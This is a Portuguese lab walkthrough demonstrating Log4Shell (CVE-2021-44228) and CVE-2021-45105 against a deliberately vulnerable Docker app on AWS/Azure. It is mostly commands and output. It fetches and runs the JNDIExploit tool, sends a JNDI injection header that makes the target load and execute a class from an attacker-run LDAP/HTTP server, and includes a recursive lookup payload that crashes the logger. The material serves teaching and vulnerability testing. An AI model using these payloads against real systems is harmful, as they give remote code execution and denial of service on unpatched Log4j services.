Demonstração do Log4Shell com AWS

curllog4j$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

$ yum install java-11-amazon-corretto.x86_64 -y
# Azure for java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the EC2 private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...

O Servidor retornará Hello World!, quando o Cliente enviar a requisição corretamente com o cabeçalho X-Api-Version. Caso contrário, o cliente receberá o erro HTTP 400 como requisição inválida.
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}

# Requests with the header properly
2021-12-22 02:44:40.920 INFO 1 --- [nio-8080-exec-3] HelloWorld : Received a request for API version 1
It's Hello from System.out.
# Reqeusts without the right input
2021-12-22 02:44:43.102 WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]

Agora vamos enviar a requisição de injeção com o cabeçalho 'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}', que irá acionar o CVE-2021-44228 para executar a consulta JNDI para acessar via ldap e realizar o RCE.
O dG91Y2ggL3RtcC9wd25lZAo=} é codificado em base64 a partir do comando linux touch /tmp/pwned. Uma vez que o RCE é alcançado, ele criará um arquivo na aplicação vulnerável.
Você também pode alterar o comportamento substituindo a string base64 por https://www.base64encode.org/.
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!

2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
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# Receive the injection and redirect it to the JNDI Exploit Server we indicated in the request
2021-12-22 03:04:06.567 INFO 1 --- [nio-8080-exec-6] HelloWorld : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

# Get the LDAP Lookup from server vulnerable app
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# Send back the encoded string back to vulnerable app, let the app execute the command in base64
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250 /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200

# Get the Container ID of vulnerable app in Server
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a4b14c4adb6c vulnerable-app "java -jar /app/spri…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vulnerable-app
# List the /tmp folder before the injection
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
# Confirm the RCE achieved bt injection request
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
-rw-r--r-- 1 root root 0 Dec 22 03:04 pwned # RCE achieved
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780

As versões do Log4j2 2.0-alpha1 até 2.16.0, excluindo 2.12.3, não protegiam contra recursão descontrolada de consultas autorreferenciais. Quando a configuração de log usa um Layout de Padrão não padrão com uma Consulta de Contexto, atacantes com controle sobre os dados de entrada do Mapa de Contexto da Thread (MDC) podem criar dados de entrada maliciosos que contêm uma consulta recursiva, resultando em um StackOverflowError que encerrará o processo. - Descrição do CVE-2021-45105, Apache
Agora podemos inserir o Mapa de Contexto da Thread com a classe StrSubstitutor ${${::-${::-$${::-j}}}} para fazer a aplicação travar devido a erro de recursão infinita.
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!

2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
